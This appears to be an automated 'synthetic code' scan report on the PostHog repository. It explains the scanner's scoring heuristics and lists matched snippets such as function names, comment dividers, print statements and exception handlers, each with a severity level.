🦔 PostHog is an all-in-one developer platform for building successful products. We offer product analytics, web analytics, session replay, error tracking, feature flags, experimentation, surveys, data warehouse, a CDP, and an AI product assistant to help debug your code, ship features faster, and keep all your usage and customer data in one stack.
This report presents the forensic synthetic code analysis of PostHog/posthog, a Python project with 35,485 GitHub stars. SynthScan v2.0 examined 5,930,224 lines of code across 26211 source files, recording 84321 pattern matches distributed across 28 syntactic categories. The overall adjusted score of 16.7 places this repository in the Moderate AI signal band.
The scanner applied 160+ deterministic lexical heuristics, multi-line block detectors, abstract syntax tree depth profilers, and a cross-file Jaccard similarity matrix to construct a statistically normalised synthetic code estimate. All matches are individually weighted by severity coefficient and contextual multiplier before summation, and the resulting headline score is temporally discounted to account for the repository's development history relative to the commercial emergence of large language model coding tooling (November 2022 onward).
This chart maps the temporal evolution of the adjusted synthetic code score across successive scan runs. An upward trajectory indicates ongoing incorporation of AI-generated code or expanding LLM-assisted scaffolding; a stable or declining trajectory may reflect active human refactoring, code removal, or the adoption of stricter authorship policies. The dashed secondary line (right axis) independently tracks total raw pattern hit count, which can diverge from the normalised score when codebase size changes significantly between scans.
Classifies detected patterns by their diagnostic confidence and structural impact. CRITICAL patterns (coefficient 10) represent definitive synthetic signatures — hallucinated imports, explicit LLM attribution metadata — virtually never produced by human authors. HIGH (5) indicates strong structural tells such as cross-file repetition or cross-linguistic idioms. MEDIUM (2) covers recognisable conversational padding and AI-specific vocabulary. LOW (1) captures subtle indicators like tautological comments and generic boilerplate that require density to carry independent signal.
This horizontal bar chart decomposes the repository's raw synthetic code score by top-level directory, allowing you to pinpoint precisely which modules or components carry the highest AI authorship density. Directories with disproportionately high scores relative to their size warrant targeted manual review: concentrated AI signatures often trace back to mass-generated configuration layers, auto-ported test suites, LLM-scaffolded boilerplate classes, or entire subsystems authored under heavy copilot assistance. Use this view to prioritise your human code-review effort.
The scanner identified 84321 distinct pattern matches across 28 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a statistically significant AI authorship indicator. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.
Reading the findings table: The Severity column indicates the diagnostic confidence level (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — comment-context matches receive a ×1.5 weight because LLMs systematically over-annotate. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier as dense clusters constitute far stronger evidence of synthetic authorship than isolated hits.
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | conftest.py | 40 | def _cache_reverse_rel_identity() -> None: | CODE |
| LOW | conftest.py | 183 | def _cheapen_freezegun_module_hash() -> None: | CODE |
| LOW | conftest.py | 198 | def _fast_module_attributes_hash(module: types.ModuleType) -> str: | CODE |
| LOW | conftest.py | 259 | def _clean_persons_db_for_direct_tests(request): | CODE |
| LOW | nodejs/bin/migrate-minio-to-seaweedfs.js | 265 | function ensureLocalDevelopmentOnly(minioEndpoint, seaweedfsEndpoint) { | CODE |
| LOW | nodejs/bin/migrate-minio-to-seaweedfs.js | 434 | async function listAllObjectsWithMetadata(client, bucket, prefix) { | CODE |
| LOW | …dejs/tests/service-e2e/rust-ingestion-consumer.test.ts | 428 | async function startNodeIngestionApiWorkers(count: number): Promise<NodeWorker[]> { | CODE |
| LOW | …dejs/tests/service-e2e/rust-ingestion-consumer.test.ts | 442 | async function startRustConsumerForWorkers( | CODE |
| LOW | …dejs/tests/service-e2e/rust-ingestion-consumer.test.ts | 471 | async function startNodeIngestionApiWorker(name: string, port?: number): Promise<NodeWorker> { | CODE |
| LOW | …dejs/tests/service-e2e/rust-ingestion-consumer.test.ts | 497 | async function restartNodeIngestionApiWorker( | CODE |
| LOW | …dejs/tests/service-e2e/rust-ingestion-consumer.test.ts | 508 | function startRustIngestionConsumer( | CODE |
| LOW | …dejs/tests/service-e2e/rust-ingestion-consumer.test.ts | 664 | function createKafkaMessageWithCaptureHeaders(event: TestEvent, token: string): Message { | CODE |
| LOW | …dejs/tests/service-e2e/rust-ingestion-consumer.test.ts | 681 | async function assertKafkaIngestionState(groupId: string, expectedEvents: TestEvent[]): Promise<void> { | CODE |
| LOW | …dejs/tests/service-e2e/rust-ingestion-consumer.test.ts | 723 | async function expectCommittedOffsetsAtTopicEnd( | CODE |
| LOW | …dejs/tests/service-e2e/rust-ingestion-consumer.test.ts | 746 | async function waitForTopicMessageCountAndGetWatermarks( | CODE |
| LOW | …dejs/tests/service-e2e/rust-ingestion-consumer.test.ts | 762 | async function captureTopicStartWatermarks(topics: string[]): Promise<Map<string, TopicWatermarks>> { | CODE |
| LOW⚡ | nodejs/tests/ingestion/person-state-batch.test.ts | 345 | async function fetchOverridesForDistinctId(distinctId: string) { | CODE |
| LOW⚡ | nodejs/tests/ingestion/person-state-batch.test.ts | 350 | async function fetchPersonsRowsWithVersionHigerEqualThan(version = 1) { | CODE |
| LOW⚡ | nodejs/tests/ingestion/person-state-batch.test.ts | 355 | async function fetchDistinctIdsClickhouse(person: InternalPerson) { | CODE |
| LOW | nodejs/tests/ingestion/person-state-batch.test.ts | 4610 | function createPersonEventProcessor(mergeMode: any, event: Partial<PluginEvent>) { | CODE |
| LOW | nodejs/tests/ingestion/postgres-parity.test.ts | 49 | async function waitForClickHousePersonConsumer(clickhouse: Clickhouse): Promise<void> { | CODE |
| LOW | …estion/framework/batching-pipeline.integration.test.ts | 292 | async function bindStoresBeforeBatchStep(input: BeforeBatchInput<In, Ctx>) { | CODE |
| LOW | …ingestion/pipelines/sessionreplay/consumer.e2e.test.ts | 335 | async function queryClickHouseSessionMetadata( | CODE |
| LOW | …stion/common/event-filters/manager.integration.test.ts | 69 | async function createManagerAndWaitForLoad(): Promise<{ | CODE |
| LOW | …nt-processing/process-persons-step.integration.test.ts | 118 | async function createPersonWithDistinctIds(distinctId: string, ...extraDistinctIds: string[]) { | CODE |
| LOW | nodejs/tests/helpers/sql.ts | 197 | export async function createUserTeamAndOrganization( | CODE |
| LOW | nodejs/tests/helpers/sql.ts | 493 | export async function fetchPostgresDistinctIdsForPerson(postgres: PostgresRouter, personId: string): Promise<string[]> { | CODE |
| LOW | nodejs/tests/helpers/sql.ts | 500 | export async function resetBehavioralCohortsDatabase(postgres: PostgresRouter): Promise<void> { | CODE |
| LOW | nodejs/tests/helpers/database-guard.ts | 41 | export async function assertRouterTargetsTestDatabase(router: PostgresRouter, use: PostgresUse): Promise<void> { | CODE |
| LOW | nodejs/tests/helpers/raw-event.ts | 18 | export function createTestRawClickHouseEvent(overrides: Partial<RawClickHouseEvent> = {}): RawClickHouseEvent { | CODE |
| LOW | nodejs/tests/helpers/ingestion-e2e.ts | 201 | export async function waitForClickHouseKafkaConsumer(clickhouse: Clickhouse): Promise<void> { | CODE |
| LOW | nodejs/tests/helpers/cdp.ts | 26 | function buildTestCdpProducerRegistry( | CODE |
| LOW | nodejs/tests/helpers/ingestion-outputs.ts | 43 | export function createTestMonitoringOutputs(kafkaProducer: KafkaProducerWrapper) { | CODE |
| LOW | nodejs/tests/helpers/ingestion-outputs.ts | 50 | export function createTestIngestionOutputs(kafkaProducer: KafkaProducerWrapper) { | CODE |
| LOW | nodejs/src/capabilities.ts | 71 | export function getPluginServerCapabilities( | CODE |
| LOW | nodejs/src/cdp/cdp-services.ts | 246 | export function createCdpValkeyShadowPools( | CODE |
| LOW | nodejs/src/cdp/utils.ts | 34 | export function convertToHogFunctionInvocationGlobals( | CODE |
| LOW | nodejs/src/cdp/utils.ts | 90 | export function convertBatchHogFlowRequestToHogFunctionInvocationGlobals({ | CODE |
| LOW | nodejs/src/cdp/utils.ts | 129 | export function convertInternalEventToHogFunctionInvocationGlobals( | CODE |
| LOW⚡ | nodejs/src/cdp/utils.ts | 235 | export function isLegacyPluginHogFunction(hogFunction: Pick<HogFunctionType, 'template_id'>): boolean { | CODE |
| LOW⚡ | nodejs/src/cdp/utils.ts | 239 | export function isSegmentPluginHogFunction(hogFunction: Pick<HogFunctionType, 'template_id'>): boolean { | CODE |
| LOW⚡ | nodejs/src/cdp/utils.ts | 247 | export function isInternalErrorTrackingEvent(event: CdpInternalEvent['event']): boolean { | CODE |
| LOW | nodejs/src/cdp/async-function-registry.ts | 40 | export function getRegisteredAsyncFunctionNames(): string[] { | CODE |
| LOW | nodejs/src/cdp/utils/hog-function-filtering.ts | 102 | export function convertClickhouseRawEventToFilterGlobals(event: RawClickHouseEvent): HogFunctionFilterGlobals { | CODE |
| LOW | nodejs/src/cdp/utils/hog-function-filtering.ts | 226 | export function convertToHogFunctionFilterGlobal( | CODE |
| LOW | nodejs/src/cdp/utils/hog-function-filtering.ts | 346 | export async function filterFunctionInstrumented(options: { | CODE |
| LOW | nodejs/src/cdp/consumers/quota-limiting-helper.ts | 24 | export async function shouldBlockInvocationDueToQuota( | CODE |
| LOW | …rc/cdp/consumers/cdp-data-warehouse-events.consumer.ts | 192 | function convertDataWarehouseEventToHogFunctionInvocationGlobals( | CODE |
| LOW | nodejs/src/cdp/consumers/cdp-person-updates-consumer.ts | 136 | function convertClickhousePersonToInvocationGlobals( | CODE |
| LOW | …consumers/cdp-hogflow-subscription-matcher.consumer.ts | 696 | function convertClickhousePersonToWakeGlobals( | CODE |
| LOW | …src/cdp/consumers/cdp-cyclotron-worker-hogflow.test.ts | 52 | function createMockPersonReadRepository(persons: TestPerson[]): jest.Mocked<PersonReadRepository> { | CODE |
| LOW | …nsumers/cdp-cyclotron-worker-hogflow-personhog.test.ts | 43 | function createMockPersonReadRepository( | CODE |
| LOW | …src/cdp/hog-transformations/hog-transformer.service.ts | 488 | export function createHogTransformerService( | CODE |
| LOW | nodejs/src/cdp/hog-transformations/rust-vm.ts | 79 | export function resetHogvmNodeModuleCacheForTests(): void { | CODE |
| LOW | nodejs/src/cdp/templates/test/test-helpers.ts | 37 | export function propagateTemplatingFromSchema(template: any, input: any): any { | CODE |
| LOW | …src/cdp/legacy-plugins/_destinations/sendgrid/index.ts | 105 | function getEmailFromIdentifyEvent(event: any): string { | CODE |
| LOW | …src/cdp/legacy-plugins/_destinations/intercom/index.ts | 56 | async function searchForContactInIntercom(meta: IntercomMeta, url: string, apiKey: string, email: string) { | CODE |
| LOW | …ins/_transformations/first-time-event-tracker/index.ts | 9 | export async function firstTimeEventTrackerPluginProcessEventAsync( | CODE |
| LOW | …ations/posthog-plugin-snowplow-referer-parser/index.ts | 149 | function getMediumAndSourceFromReferrer(domain: string) { | CODE |
| LOW | …ations/posthog-plugin-snowplow-referer-parser/index.ts | 184 | function isReferrerFromDirectDomain(referrer: string) { | CODE |
| 64396 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | pyproject.toml | 487 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | pyproject.toml | 489 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …t-2/team-analytics-platform/slo-monitoring/insights.tf | 2 | # =========================================================================== | COMMENT |
| MEDIUM | …t-2/team-analytics-platform/slo-monitoring/insights.tf | 6 | # =========================================================================== | COMMENT |
| MEDIUM | …t-2/team-analytics-platform/slo-monitoring/insights.tf | 56 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …t-2/team-analytics-platform/slo-monitoring/insights.tf | 58 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …t-2/team-analytics-platform/slo-monitoring/insights.tf | 80 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …t-2/team-analytics-platform/slo-monitoring/insights.tf | 83 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …t-2/team-analytics-platform/slo-monitoring/insights.tf | 194 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …t-2/team-analytics-platform/slo-monitoring/insights.tf | 197 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …t-2/team-analytics-platform/slo-monitoring/insights.tf | 244 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …t-2/team-analytics-platform/slo-monitoring/insights.tf | 246 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …t-2/team-analytics-platform/slo-monitoring/insights.tf | 292 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …t-2/team-analytics-platform/slo-monitoring/insights.tf | 294 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …t-2/team-analytics-platform/slo-monitoring/insights.tf | 334 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …t-2/team-analytics-platform/slo-monitoring/insights.tf | 336 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …t-2/team-analytics-platform/slo-monitoring/insights.tf | 430 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …t-2/team-analytics-platform/slo-monitoring/insights.tf | 432 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | …m-analytics-platform/dashboard-key-metrics/insights.tf | 1 | # ============================================================================= | COMMENT |
| MEDIUM⚡ | …m-analytics-platform/dashboard-key-metrics/insights.tf | 3 | # ============================================================================= | COMMENT |
| MEDIUM⚡ | …m-analytics-platform/dashboard-key-metrics/insights.tf | 10 | # ============================================================================= | COMMENT |
| MEDIUM⚡ | …analytics-platform/dashboard-key-metrics/dashboards.tf | 1 | # ============================================================================= | COMMENT |
| MEDIUM⚡ | …analytics-platform/dashboard-key-metrics/dashboards.tf | 3 | # ============================================================================= | COMMENT |
| MEDIUM⚡ | …analytics-platform/dashboard-key-metrics/dashboards.tf | 9 | # ============================================================================= | COMMENT |
| MEDIUM | …eam-analytics-platform/dashboard-key-metrics/alerts.tf | 1 | # ============================================================================= | COMMENT |
| MEDIUM | …eam-analytics-platform/dashboard-key-metrics/alerts.tf | 3 | # ============================================================================= | COMMENT |
| MEDIUM | …eam-analytics-platform/dashboard-key-metrics/alerts.tf | 14 | # ============================================================================= | COMMENT |
| MEDIUM | …/us/project-2/team-analytics-platform/slos/insights.tf | 2 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …/us/project-2/team-analytics-platform/slos/insights.tf | 5 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …/us/project-2/team-analytics-platform/slos/insights.tf | 49 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …/us/project-2/team-analytics-platform/slos/insights.tf | 51 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …/us/project-2/team-analytics-platform/slos/insights.tf | 80 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …/us/project-2/team-analytics-platform/slos/insights.tf | 82 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …/us/project-2/team-analytics-platform/slos/insights.tf | 94 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …/us/project-2/team-analytics-platform/slos/insights.tf | 96 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …/us/project-2/team-analytics-platform/slos/insights.tf | 232 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …/us/project-2/team-analytics-platform/slos/insights.tf | 234 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …/us/project-2/team-analytics-platform/slos/insights.tf | 252 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …/us/project-2/team-analytics-platform/slos/insights.tf | 254 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …/us/project-2/team-analytics-platform/slos/insights.tf | 283 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …/us/project-2/team-analytics-platform/slos/insights.tf | 285 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …/us/project-2/team-analytics-platform/slos/insights.tf | 325 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …/us/project-2/team-analytics-platform/slos/insights.tf | 327 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nodejs/src/cdp/workflows-e2e.test.ts | 210 | // ── Helpers ────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | nodejs/src/cdp/rerun/rerun-e2e.test.ts | 272 | // ── 1. Original invocation succeeds ───────────────────────────────── | COMMENT |
| MEDIUM | nodejs/src/cdp/rerun/rerun-e2e.test.ts | 313 | // ── 2. Mimic Django POST /rerun — only the request itself is faked ────── | COMMENT |
| MEDIUM⚡ | nodejs/src/cdp/rerun/rerun-e2e.test.ts | 339 | // ── 3. Rerun worker drains the wrapper job ──────────────────────────────── | COMMENT |
| MEDIUM⚡ | nodejs/src/cdp/rerun/rerun-e2e.test.ts | 347 | // ── 4. Wait for the wrapper job to complete ──────────────────────────────── | COMMENT |
| MEDIUM⚡ | nodejs/src/cdp/rerun/rerun-e2e.test.ts | 354 | // ── 5. Reruned invocation flows through the real cyclotron worker ───────── | COMMENT |
| MEDIUM | …ejs/src/cdp/services/cyclotron-v2/cyclotron-v2.test.ts | 13 | // ── Helpers ────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | …ejs/src/cdp/services/cyclotron-v2/cyclotron-v2.test.ts | 114 | // ── Tests ──────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | …ejs/src/cdp/services/cyclotron-v2/cyclotron-v2.test.ts | 145 | // ── Manager ────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | …ejs/src/cdp/services/cyclotron-v2/cyclotron-v2.test.ts | 444 | // ── Worker ─────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | …ejs/src/cdp/services/cyclotron-v2/cyclotron-v2.test.ts | 1002 | // ── Email fair dequeue ─────────────────────────────────────────── | COMMENT |
| MEDIUM | …ejs/src/cdp/services/cyclotron-v2/cyclotron-v2.test.ts | 1407 | // ── Janitor ────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | tools/snob_backend_test_selection_shadow.py | 408 | # ── 1. Changed test files themselves ───────────────────────────── | COMMENT |
| MEDIUM | tools/snob_backend_test_selection_shadow.py | 447 | # ── 4. Product API client tests (URL dispatch heuristic) ───────���─ | COMMENT |
| MEDIUM | tools/snob_backend_test_selection_shadow.py | 479 | # ── 5. Temporal / ClickHouse broad matching ────────────────────── | COMMENT |
| MEDIUM | tools/snob_backend_test_selection_shadow.py | 494 | # ── 6. Signal handler expansion ────────────────────────────────── | COMMENT |
| MEDIUM⚡ | tools/snob_backend_test_selection_shadow.py | 510 | # ── 7. Middleware expansion ─────────────────────────────────────── | COMMENT |
| 1853 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | nodejs/bin/migrate-minio-to-seaweedfs.js | 179 | print() { | CODE |
| HIGH | nodejs/src/cdp/workflows-e2e.test.ts | 149 | print('Fetch result:', res.status); | CODE |
| HIGH | nodejs/src/cdp/workflows-e2e.test.ts | 2103 | print('Fetch result:', res.status); | CODE |
| HIGH | nodejs/src/cdp/workflows-e2e.test.ts | 2223 | print('Fetch result:', res.status); | CODE |
| HIGH | nodejs/src/cdp/cdp-e2e.test.ts | 96 | print('Fetch response:', res); | CODE |
| HIGH | nodejs/src/cdp/cdp-e2e.test.ts | 324 | print('Fetch response:', res); | CODE |
| HIGH | nodejs/src/cdp/cdp-e2e.test.ts | 464 | print('Fetch response:', res); | CODE |
| HIGH | nodejs/src/cdp/cdp-e2e.test.ts | 626 | print('Fetch response:', res); | CODE |
| HIGH | nodejs/src/cdp/rerun/rerun-e2e.test.ts | 210 | print('Fetch response:', res); | CODE |
| HIGH | nodejs/src/cdp/rerun/rerun-e2e.test.ts | 402 | print('Fetch response:', res); | CODE |
| HIGH | nodejs/src/cdp/utils/hog-exec.test.ts | 38 | print('I AM FIBONACCI. ') | CODE |
| HIGH | nodejs/src/cdp/utils/hog-exec.test.ts | 45 | print(f'fib {fibonacci(64)}'); | CODE |
| HIGH | nodejs/src/cdp/consumers/cdp-cyclotron-worker.test.ts | 441 | print('I AM FIBONACCI. ') | CODE |
| HIGH | nodejs/src/cdp/consumers/cdp-cyclotron-worker.test.ts | 448 | print(f'fib {fibonacci(64)}');` | CODE |
| HIGH | …dp/templates/_destinations/webhook/webhook.template.ts | 21 | print('Request', inputs.url, payload) | CODE |
| HIGH | …dp/templates/_destinations/webhook/webhook.template.ts | 31 | print('Response', res.status, res.body); | CODE |
| HIGH | …rc/cdp/templates/_destinations/close/close.template.ts | 16 | print('No email set. Skipping...') | CODE |
| HIGH | …rc/cdp/templates/_destinations/close/close.template.ts | 76 | print('No contact fields to update. Skipping...') | CODE |
| HIGH | …rc/cdp/templates/_destinations/unify/unify.template.ts | 19 | print(f'Skipping unsupported event type: {event.event}') | CODE |
| HIGH | …/templates/_destinations/google_ads/google.template.ts | 82 | print('Empty \`gclid\`. Skipping...') | CODE |
| HIGH | …hog_customer_analytics/posthog-get-account.template.ts | 32 | print(f'Fetched account {inputs.external_id}') | CODE |
| HIGH | …_analytics/posthog-update-account-property.template.ts | 35 | print(f'Updated custom properties on account {inputs.external_id}') | CODE |
| HIGH | …hog_customer_analytics/posthog-tag-account.template.ts | 38 | print(f'Tagged account {inputs.external_id}') | CODE |
| HIGH | …ytics/posthog-update-account-relationships.template.ts | 37 | print(f'Updated relationships on account {inputs.external_id}') | CODE |
| HIGH | …_customer_analytics/posthog-update-account.template.ts | 59 | print(f'Updated account {inputs.external_id}') | CODE |
| HIGH | …dp/templates/_destinations/hubspot/hubspot.template.ts | 29 | print('\`companyId\` input is empty. Skipping...') | CODE |
| HIGH | …dp/templates/_destinations/hubspot/hubspot.template.ts | 75 | print(f'Successfully created company {data.properties['posthog_group_id']}') | CODE |
| HIGH | …dp/templates/_destinations/hubspot/hubspot.template.ts | 83 | print(f'Successfully updated company {data.properties['posthog_group_id']}') | CODE |
| HIGH | …dp/templates/_destinations/appcues/appcues.template.ts | 17 | print('No user ID set. Skipping as a user ID is required.') | CODE |
| HIGH | …dp/templates/_destinations/appcues/appcues.template.ts | 49 | print('No profile properties to send. Skipping.') | CODE |
| HIGH | …rc/cdp/templates/_destinations/klime/klime.template.ts | 57 | print('No user ID set. Skipping as user ID is required for identify events.') | CODE |
| HIGH | …rc/cdp/templates/_destinations/klime/klime.template.ts | 86 | print('No group ID set. Skipping as group ID is required for group events.') | CODE |
| HIGH⚡ | …/_destinations/firebase_push/firebase_push.template.ts | 53 | print('Sending push notification', url, payload) | CODE |
| HIGH⚡ | …/_destinations/firebase_push/firebase_push.template.ts | 63 | print('Push notification sent', res) | CODE |
| HIGH | …ates/_destinations/microsoft_ads/microsoft.template.ts | 99 | print('Empty \`microsoftClickId\`. Skipping...') | CODE |
| HIGH | …/templates/_destinations/whatsapp/whatsapp.template.ts | 73 | print('Sending WhatsApp message', url, payload) | CODE |
| HIGH | …/templates/_destinations/whatsapp/whatsapp.template.ts | 83 | print('WhatsApp message sent', res) | CODE |
| HIGH | …/cdp/templates/_destinations/twilio/twilio.template.ts | 44 | print('Sending SMS', url, payload) | CODE |
| HIGH | …/cdp/templates/_destinations/twilio/twilio.template.ts | 55 | print('SMS sent', res) | CODE |
| HIGH | …emplates/_sources/webhook/incoming_webhook.template.ts | 15 | print('Incoming request:', request.body) | CODE |
| HIGH | …emplates/_sources/webhook/incoming_webhook.template.ts | 28 | print('Incoming request denied due to bad authorization header') | CODE |
| HIGH | …templates/_sources/vercel/vercel_log_drain.template.ts | 15 | print('Incoming headers:', request.headers) | CODE |
| HIGH | …templates/_sources/vercel/vercel_log_drain.template.ts | 16 | print('Incoming body:', request.body) | CODE |
| HIGH | …templates/_sources/vercel/vercel_log_drain.template.ts | 29 | print('Denied: bad Authorization header') | CODE |
| HIGH | …templates/_sources/vercel/vercel_log_drain.template.ts | 103 | print(f'Warning: Dropped {droppedCount} additional log(s). Hog functions can only emit one event per invocation.') | CODE |
| HIGH | …templates/_sources/vercel/vercel_log_drain.template.ts | 242 | print('vercel log drain: custom_template empty, falling back to rotating_salt') | CODE |
| HIGH | …templates/_sources/vercel/vercel_log_drain.template.ts | 258 | print('vercel log drain: custom_template substituted to empty, falling back to rotating_salt') | CODE |
| HIGH | …ejs/src/cdp/templates/_sources/pixel/pixel.template.ts | 16 | print('Incoming request:', request.query) | CODE |
| HIGH | …s/_transformations/url-masking/url-masking.template.ts | 77 | print('Error masking URL parameters:', error) | CODE |
| HIGH⚡ | …cdp/templates/_transformations/geoip/geoip.template.ts | 34 | print('geoip disabled or no ip.') | CODE |
| HIGH⚡ | …cdp/templates/_transformations/geoip/geoip.template.ts | 40 | print('spoofing ip for local development', ip) | CODE |
| HIGH⚡ | …cdp/templates/_transformations/geoip/geoip.template.ts | 45 | print('geoip lookup failed for ip', ip) | CODE |
| HIGH | …cdp/templates/_transformations/geoip/geoip.template.ts | 75 | print('geoip location data for ip:', location) | CODE |
| HIGH⚡ | …rmations/ip-anonymization/ip-anonymization.template.ts | 17 | print('No IP address found in event') | CODE |
| HIGH⚡ | …rmations/ip-anonymization/ip-anonymization.template.ts | 26 | print('Invalid IP address format: wrong number of octets') | CODE |
| HIGH⚡ | …rmations/ip-anonymization/ip-anonymization.template.ts | 34 | print('Invalid IP address: octets must be numbers between 0 and 255') | CODE |
| HIGH | …ations/url-normalization/url-normalization.template.ts | 48 | print('keyValue', keyValue) | CODE |
| HIGH | …ations/url-normalization/url-normalization.template.ts | 65 | print('normalizedParams', normalizedParams) | CODE |
| HIGH | nodejs/src/cdp/services/hog-executor.service.test.ts | 1141 | print('after produce')` | CODE |
| HIGH⚡ | …cdp/services/hogflows/hogflow-executor.service.test.ts | 128 | print(f'Hello, {inputs.name}!') | CODE |
| 753 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | …s/_transformations/url-masking/url-masking.template.ts | 77 | print('Error masking URL parameters:', error) | CODE |
| LOW | tools/snob_backend_test_selection_shadow.py | 560 | except Exception as exc: | CODE |
| LOW | …research_agent/pi_plugin/scripts/ch_compare_results.py | 136 | except Exception as err: | CODE |
| LOW⚡ | …ce-ai/query_performance_ai/orchestrator/coordinator.py | 354 | except Exception as e: # noqa: BLE001 | CODE |
| LOW⚡ | …ce-ai/query_performance_ai/orchestrator/coordinator.py | 364 | except Exception as e: # noqa: BLE001 | CODE |
| LOW | …ce-ai/query_performance_ai/orchestrator/coordinator.py | 389 | except Exception as e: # noqa: BLE001 | CODE |
| LOW | …ce-ai/query_performance_ai/orchestrator/coordinator.py | 743 | except Exception as e: # noqa: BLE001 | CODE |
| LOW | …ce-ai/query_performance_ai/orchestrator/coordinator.py | 814 | except Exception: # noqa: BLE001 | CODE |
| LOW⚡ | tools/infra-scripts/clitools/toolbox/user.py | 57 | except Exception as k8s_error: | CODE |
| MEDIUM⚡ | tools/infra-scripts/clitools/toolbox/user.py | 58 | print(f"Error: Failed to get user identity: {k8s_error}") # noqa: T201 | CODE |
| MEDIUM⚡ | tools/infra-scripts/clitools/toolbox/user.py | 59 | print(f"Error type: {type(k8s_error)}") # noqa: T201 | CODE |
| LOW | tools/infra-scripts/clitools/toolbox/user.py | 97 | except Exception as e: | CODE |
| LOW | tools/infra-scripts/clitools/toolbox/pod.py | 136 | except Exception as e: | CODE |
| MEDIUM | tools/infra-scripts/clitools/toolbox/pod.py | 198 | print(f"Error stripping labels: {e.stderr or e}") # noqa: T201 | CODE |
| MEDIUM | tools/infra-scripts/clitools/toolbox/pod.py | 215 | print(f"Error annotating pod: {e.stderr or e}") # noqa: T201 | CODE |
| LOW | tools/infra-scripts/clitools/toolbox/pod.py | 244 | except Exception as e: | CODE |
| MEDIUM | tools/infra-scripts/clitools/toolbox/pod.py | 245 | print(f"Error claiming pod: {e}") # noqa: T201 | CODE |
| LOW | tools/infra-scripts/clitools/toolbox/telemetry.py | 108 | except Exception as telemetry_error: | CODE |
| MEDIUM | tools/infra-scripts/clitools/toolbox/kubernetes.py | 33 | print(f"Error getting kubernetes contexts: {e}") # noqa: T201 | CODE |
| MEDIUM | tools/infra-scripts/clitools/toolbox/kubernetes.py | 43 | print(f"Error getting current kubernetes context: {e}") # noqa: T201 | CODE |
| MEDIUM | tools/infra-scripts/clitools/toolbox/kubernetes.py | 59 | print(f"Error switching kubernetes context: {e}") # noqa: T201 | CODE |
| LOW | tools/hogli/src/hogli/lazy_commands.py | 72 | except Exception as exc: | CODE |
| LOW⚡ | tools/hogli/src/hogli/telemetry.py | 73 | except Exception: | CODE |
| LOW⚡ | tools/hogli/src/hogli/telemetry.py | 82 | except Exception: | CODE |
| LOW | tools/hogli/src/hogli/telemetry.py | 140 | except Exception as exc: | CODE |
| LOW⚡ | tools/hogli/src/hogli/telemetry.py | 261 | except Exception as exc: | CODE |
| LOW⚡ | tools/hogli/src/hogli/telemetry.py | 277 | except Exception: | CODE |
| MEDIUM | tools/hogli/src/hogli/telemetry.py | 70 | def _load_config() -> TelemetryConfig: | CODE |
| LOW | tools/hogli/src/hogli/cli.py | 89 | except Exception: | CODE |
| LOW | tools/hogli/src/hogli/cli.py | 96 | except Exception: | CODE |
| LOW | tools/hogli/src/hogli/cli.py | 227 | except Exception: | CODE |
| LOW | tools/hogli/src/hogli/cli.py | 616 | except Exception: | CODE |
| LOW | tools/hogli/src/hogli/cli.py | 652 | except Exception: | CODE |
| LOW | tools/hogli/src/hogli/cli.py | 692 | except Exception: | CODE |
| LOW | tools/hogli/src/hogli/cli.py | 701 | except Exception: | CODE |
| MEDIUM | tools/hogli/src/hogli/cli.py | 595 | def _hogli_version() -> str | None: | CODE |
| LOW | tools/hogbox-preview/hogbox_preview/stack.py | 168 | except Exception as e: # noqa: BLE001 | CODE |
| LOW | tools/hogbox-preview/hogbox_preview/hogland_backend.py | 354 | except Exception as e: # noqa: BLE001 — TTL reaper is the backstop | CODE |
